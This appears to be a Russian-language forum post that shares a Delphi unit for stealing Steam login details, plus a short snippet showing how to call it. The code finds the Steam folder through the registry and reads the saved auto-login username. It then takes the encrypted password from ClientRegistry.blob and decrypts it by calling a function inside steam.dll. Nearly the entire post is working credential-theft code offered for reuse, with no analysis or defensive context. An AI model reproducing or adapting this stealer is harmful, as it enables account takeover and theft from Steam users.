Код:
unit SteamPasswordDecryptUnit;
interface
uses
Windows, Sysutils, Classes, Registry;
function SteamUserName : String;
function SteamPassword : String;
type
TSteamDecryptDataForThisMachine = function(EncryptedData :Pchar;
EncryptedDataLength : Integer;
DecryptedBuffer : Pointer;
DecryptedBufferSize : Integer;
DecryptedDataSize : PUINT) : Integer;
cdecl;
var
Reg : TRegistry;
SteamPath : String;
StringStream : TStringStream;
FileStream : TFileStream;
I : Integer;
UserName : PChar;
EncryptedPassword : PChar;
DecryptionKey : TSteamDecryptDataForThisMachine;
PasswordLength : UINT;
Password : array[0..99] of char;
implementation
function SteamUserName : String;
begin
try
//Finds Steam Installation Path
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Valve\Steam\',false);
SteamPath := Reg.ReadString('SteamPath');
//Locates UserName within the SteamAppData.vdf file
FileStream := TFileStream.Create(SteamPath+'configSteamAppData.vdf',fmOpenRead);
StringStream := TStringStream.Create('');
StringStream.CopyFrom(FileStream, FileStream.Size);
FreeandNil(FileStream);
I := Pos('AutoLoginUser',StringStream.DataString);
I := I + 17;
UserName := PChar(copy(StringStream.DataString,I,Pos('"',copy(StringStream.DataString,I,100))-1));
FreeandNil(StringStream);
Result := UserName;
except
Result := 'Error';
end;
end;
function SteamPassword : String;
begin
try
//Finds Steam Installation Path
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Valve\Steam\',false);
SteamPath := Reg.ReadString('SteamPath');
//Locates Encrypted Password within the ClientRegistry.blob file
FileStream := TFileStream.Create(SteamPath+'\ClientRegistry.blob',fmOpenRead);
StringStream := TStringStream.Create('');
StringStream.CopyFrom(FileStream, FileStream.Size);
FreeandNil(FileStream);
I := Pos('Phrase',StringStream.DataString);
I := I + 40;
EncryptedPassword := PChar(copy(StringStream.DataString,I,255));
FreeandNil(StringStream);
//Uses SteamDecryptDataForThisMachine function from Steam.dll to decrypt password
DecryptionKey := GetProcAddress(LoadLibrary(PChar(SteamPath+'\steam.dll')),'SteamDecryptDataForThisMachine');
DecryptionKey(EncryptedPassword, strlen(EncryptedPassword),@Password, 100,@PasswordLength);
Result := Password;
except
Result := 'Error';
end;
end;
end.
юзаем
Код:
Memo1.lines.Add(SteamUserName);
Memo1.lines.Add(SteamPassword);